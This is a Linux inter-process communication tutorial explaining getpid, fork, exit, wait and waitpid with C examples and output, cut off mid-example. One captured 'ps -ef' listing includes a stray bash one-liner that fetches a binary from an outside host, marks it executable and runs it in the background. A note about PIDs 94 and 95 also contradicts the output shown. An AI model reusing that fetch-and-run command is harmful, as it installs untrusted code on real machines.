Inter Process Communication - Quick Guide



Inter Process Communication - Overview

Inter Process Communication (IPC) is a mechanism that involves communication of one process with another process. This usually occurs only in one system.

Communication can be of two types −

  • Between related processes initiating from only one process, such as parent and child processes.

  • Between unrelated processes, or two or more different processes.

Following are some important terms that we need to know before proceeding further on this topic.

Pipes − Communication between two related processes. The mechanism is half duplex meaning the first process communicates with the second process. To achieve a full duplex i.e., for the second process to communicate with the first process another pipe is required.

FIFO − Communication between two unrelated processes. FIFO is a full duplex, meaning the first process can communicate with the second process and vice versa at the same time.

Message Queues − Communication between two or more processes with full duplex capacity. The processes will communicate with each other by posting a message and retrieving it out of the queue. Once retrieved, the message is no longer available in the queue.

Shared Memory − Communication between two or more processes is achieved through a shared piece of memory among all processes. The shared memory needs to be protected from each other by synchronizing access to all the processes.

Semaphores − Semaphores are meant for synchronizing access to multiple processes. When one process wants to access the memory (for reading or writing), it needs to be locked (or protected) and released when the access is removed. This needs to be repeated by all the processes to secure data.

Signals − Signal is a mechanism to communication between multiple processes by way of signaling. This means a source process will send a signal (recognized by number) and the destination process will handle it accordingly.

Note − Almost all the programs in this tutorial are based on system calls under Linux Operating System (executed in Ubuntu).

Process Information

Before we go into process information, we need to know a few things, such as −

What is a process? A process is a program in execution.

What is a program? A program is a file containing the information of a process and how to build it during run time. When you start execution of the program, it is loaded into RAM and starts executing.

Each process is identified with a unique positive integer called as process ID or simply PID (Process Identification number). The kernel usually limits the process ID to 32767, which is configurable. When the process ID reaches this limit, it is reset again, which is after the system processes range. The unused process IDs from that counter are then assigned to newly created processes.

The system call getpid() returns the process ID of the calling process.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

This call returns the process ID of the calling process which is guaranteed to be unique. This call is always successful and thus no return value to indicate an error.

Each process has its unique ID called process ID that is fine but who created it? How to get information about its creator? Creator process is called the parent process. Parent ID or PPID can be obtained through getppid() call.

The system call getppid() returns the Parent PID of the calling process.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

This call returns the parent process ID of the calling process. This call is always successful and thus no return value to indicate an error.

Let us understand this with a simple example.

Following is a program to know the PID and PPID of the calling process.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

On compilation and execution of the above program, following will be the output.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note − The “C” library function system() executes a shell command. The arguments passed to system() are commands executed on shell. In the above program, command is “ps”, which gives process status.

The complete information about all running processes and other system related information are accessible from proc file system available at /proc location.

Process Image

Now that we have seen how to get the basic information of process and its parent process, it is time to look into the details of process/program information.

What exactly is process image? Process image is an executable file required while executing the program. This image usually contains the following sections −

  • Code segment or text segment
  • Data segment
  • Stack segment
  • Heap segment

Following is the pictorial representation of the process image.

Process Images

Code segment is a portion of object file or program’s virtual address space that consists of executable instructions. This is usually read-only data segment and has a fixed size.

Data segment is of two types.

  • Initialized
  • Un-initialized

Initialized data segment is a portion of the object file or program’s virtual address space that consists of initialized static and global variables.

Un-initialized data segment is a portion of the object file or program’s virtual address space that consists of uninitialized static and global variables. Un-initialized data segment is also called BSS (Block Started by Symbol) segment.

Data segment is read-write, since the values of variables could be changed during run time. This segment also has a fixed size.

Stack segment is an area of memory allotted for automatic variables and function parameters. It also stores a return address while executing function calls. Stack uses LIFO (Last-In-First-Out) mechanism for storing local or automatic variables, function parameters and storing next address or return address. The return address refers to the address to return after completion of function execution. This segment size is variable as per local variables, function parameters, and function calls. This segment grows from a higher address to a lower address.

Heap segment is area of memory allotted for dynamic memory storage such as for malloc() and calloc() calls. This segment size is also variable as per user allocation. This segment grows from a lower address to a higher address.

Let us now check how the segments (data and bss segments) size vary with a few sample programs. Segment size is known by executing the command “size”.

Initial program

File: segment_size1.c

#include<stdio.h>

int main() {
   printf("Hello World\n");
   return 0;
}

In the following program, an uninitialized static variable is added. This means uninitialized segment (BSS) size would increase by 4 Bytes. Note − In Linux operating system, the size of int is 4 bytes. Size of the integer data type depends on the compiler and operating system support.

File: segment_size2.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   printf("Hello World\n");
   return 0;
}

In the following program, an initialized static variable is added. This means initialized segment (DATA) size would increase by 4 Bytes.

File: segment_size3.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

In the following program, an initialized global variable is added. This means initialized segment (DATA) size would increase by 4 Bytes.

File: segment_size4.c

#include<stdio.h>

int myglobalint1 = 500;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

In the following program, an uninitialized global variable is added. This means uninitialized segment (BSS) size would increase by 4 Bytes.

File: segment_size5.c

#include<stdio.h>

int myglobalint1 = 500;
int myglobalint2;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

Execution Steps

Compilation

babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2
babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4
babukrishnam $ gcc segment_size5.c -o segment_size5

Execution/Output

babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
   text  data  bss  dec  hex  filename
   878   252    8   1138 472  segment_size1 
   878   252   12   1142 476  segment_size2 
   878   256   12   1146 47a  segment_size3 
   878   260   12   1150 47e  segment_size4 
   878   260   16   1154 482  segment_size5
babukrishnam

Process Creation & Termination

Till now we know that whenever we execute a program then a process is created and would be terminated after the completion of the execution. What if we need to create a process within the program and may be wanted to schedule a different task for it. Can this be achieved? Yes, obviously through process creation. Of course, after the job is done it would get terminated automatically or you can terminate it as needed.

Process creation is achieved through the fork() system call. The newly created process is called the child process and the process that initiated it (or the process when execution is started) is called the parent process. After the fork() system call, now we have two processes - parent and child processes. How to differentiate them? Very simple, it is through their return values.

System Call

After creation of the child process, let us see the fork() system call details.

#include <sys/types.h>
#include <unistd.h>

pid_t fork(void);

Creates the child process. After this call, there are two processes, the existing one is called the parent process and the newly created one is called the child process.

The fork() system call returns either of the three values −

  • Negative value to indicate an error, i.e., unsuccessful in creating the child process.

  • Returns a zero for child process.

  • Returns a positive value for the parent process. This value is the process ID of the newly created child process.

Let us consider a simple program.

File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   fork();
   printf("Called fork() system call\n");
   return 0;
}

Execution Steps

Compilation

gcc basicfork.c -o basicfork

Execution/Output

Called fork() system call
Called fork() system call

Note − Usually after fork() call, the child process and the parent process would perform different tasks. If the same task needs to be run, then for each fork() call it would run 2 power n times, where n is the number of times fork() is invoked.

In the above case, fork() is called once, hence the output is printed twice (2 power 1). If fork() is called, say 3 times, then the output would be printed 8 times (2 power 3). If it is called 5 times, then it prints 32 times and so on and so forth.

Having seen fork() create the child process, it is time to see the details of the parent and the child processes.

File name: pids_after_fork.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   pid_t pid, mypid, myppid;
   pid = getpid();
   printf("Before fork: Process id is %d\n", pid);
   pid = fork();

   if (pid < 0) {
      perror("fork() failure\n");
      return 1;
   }

   // Child process
   if (pid == 0) {
      printf("This is child process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
   } else { // Parent process 
      sleep(2);
      printf("This is parent process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
      printf("Newly created process id or child pid is %d\n", pid);
   }
   return 0;
}

Compilation and Execution Steps

Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630

A process can terminate in either of the two ways −

  • Abnormally, occurs on delivery of certain signals, say terminate signal.

  • Normally, using _exit() system call (or _Exit() system call) or exit() library function.

The difference between _exit() and exit() is mainly the cleanup activity. The exit() does some cleanup before returning the control back to the kernel, while the _exit() (or _Exit()) would return the control back to the kernel immediately.

Consider the following example program with exit().

File name: atexit_sample.c

#include <stdio.h>
#include <stdlib.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   exit (0);
}

Compilation and Execution Steps

Hello, World!
Called cleanup function - exitfunc()

Consider the following example program with _exit().

File name: at_exit_sample.c

#include <stdio.h>
#include <unistd.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   _exit (0);
}

Compilation and Execution Steps

Hello, World!

Child Process Monitoring

As we have seen, whenever we create a child process from a program using fork, the following happens −

  • Current process now becomes the parent process
  • The new process becomes the child process

What happens if the parent process finishes its task early than the child process and then quits or exits? Now who would be the parent of the child process? The parent of the child process is init process, which is the very first process initiating all the tasks.

To monitor the child process execution state, to check whether the child process is running or stopped or to check the execution status, etc. the wait() system calls and its variants is used.

Let us consider an example program, where the parent process does not wait for the child process, which results into init process becoming the new parent for the child process.

File name: parentprocess_nowait.c

#include<stdio.h>

int main() {
   int pid;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
   } else {
      sleep(3);
   }
   return 0;
}

Compilation and Execution Steps

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:38 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:14 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  163891      0  0 05:41 ?        00:00:00 main
8023807  164130      0  0 05:41 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  164136 164130  0 05:41 ?        00:00:00 timeout 10s main
8023807  164137 164136  0 05:41 ?        00:00:00 main
8023807  164138 164137  0 05:41 ?        00:00:00 main
8023807  164139 164138  0 05:41 ?        00:00:00 ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:48 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:24 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  164138      0  0 05:41 ?        00:00:00 main
8023807  164897 164138  0 05:41 ?        00:00:00 ps -ef

Note − Observe that the parent process PID was 94 and the child process PID was 95. After the parent process exits, the PPID of the child process changed from 94 to 1 (init process).

Following are the variants of system calls to monitor the child process/es −

  • wait()
  • waitpid()
  • waitid()

The wait() system call would wait for one of the children to terminate and return its termination status in the buffer as explained below.

#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *status);

This call returns the process ID of the terminated child on success and -1 on failure. The wait() system call suspends the execution of the current process and waits indefinitely until one of its children terminates. The termination status from the child is available in status.

Let us modify the previous program, so that the parent process now waits for the child process.

/* File name: parentprocess_waits.c */

#include<stdio.h>

int main() {
   int pid;
   int status;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
      return 3; //exit status is 3 from child process
   } else {
      sleep(3);
      wait(&status);
      printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
   }
   return 0;
}

Compilation and Execution Steps

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:19:39 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:41:15 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  191762      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  191768 191762  0 05:47 ?        00:00:00 timeout 10s main
8023807  191769 191768  0 05:47 ?        00:00:00 main
8023807  191770 191769  0 05:47 ?        00:00:00 main
8023807  192193      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  192199 192193  0 05:47 ?        00:00:00 timeout 10s main
8023807  192200 192199  0 05:47 ?        00:00:00 main
8023807  192201 192200  0 05:47 ?        00:00:00 main
8023807  192202 192201  0 05:47 ?        00:00:00 ps -ef

Note − Even though child returns the exit status of 3, why the parent process sees that as 768. The status is stored in the higher order byte, so it is stored in hexadecimal format as 0X0300, which is 768 in decimal. Normal termination is as follows

Higher Order Byte (Bits 8 to 15) Lower Order Byte (Bits 0 to 7)
Exit status (0 to 255) 0

The wait() system call has limitation such as it can only wait until the exit of the next child. If we need to wait for a specific child it is not possible using wait(), however, it is possible using waitpid() system call.

The waitpid() system call would wait for specified children to terminate and return its termination status in the buffer as explained below.

#include <sys/types.h>
#include <sys/wait.h>

pid_t waitpid(pid_t pid, int *status, int options);

The above call returns the process ID of the terminated child on success and -1 on failure. The waitpid() system call suspends the execution of the current process and waits indefinitely until the specified children (as per pid value) terminates. The termination status from the child is available in the status.

The value of pid can be either of the following −

  • < -1 − Wait for any child process whose process group ID is equal to the absolute value of pid.

  • -1 − Wait for any child process, which equals to that of wait() system call.

  • 0 − Wait for any child process whose process group ID is equal to that of the calling process.

  • >0 − Wait for any child process whose process ID is equal to the value of pid.

By default, waitpid() system call waits only for the terminated children but this default behavior can be modified using the options argument.

Now let us consider a program as an example, waiting for a specific process with its process id.

/* Filename: waitpid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   while (numprocesses < total_processes) {
      pid = fork();
      
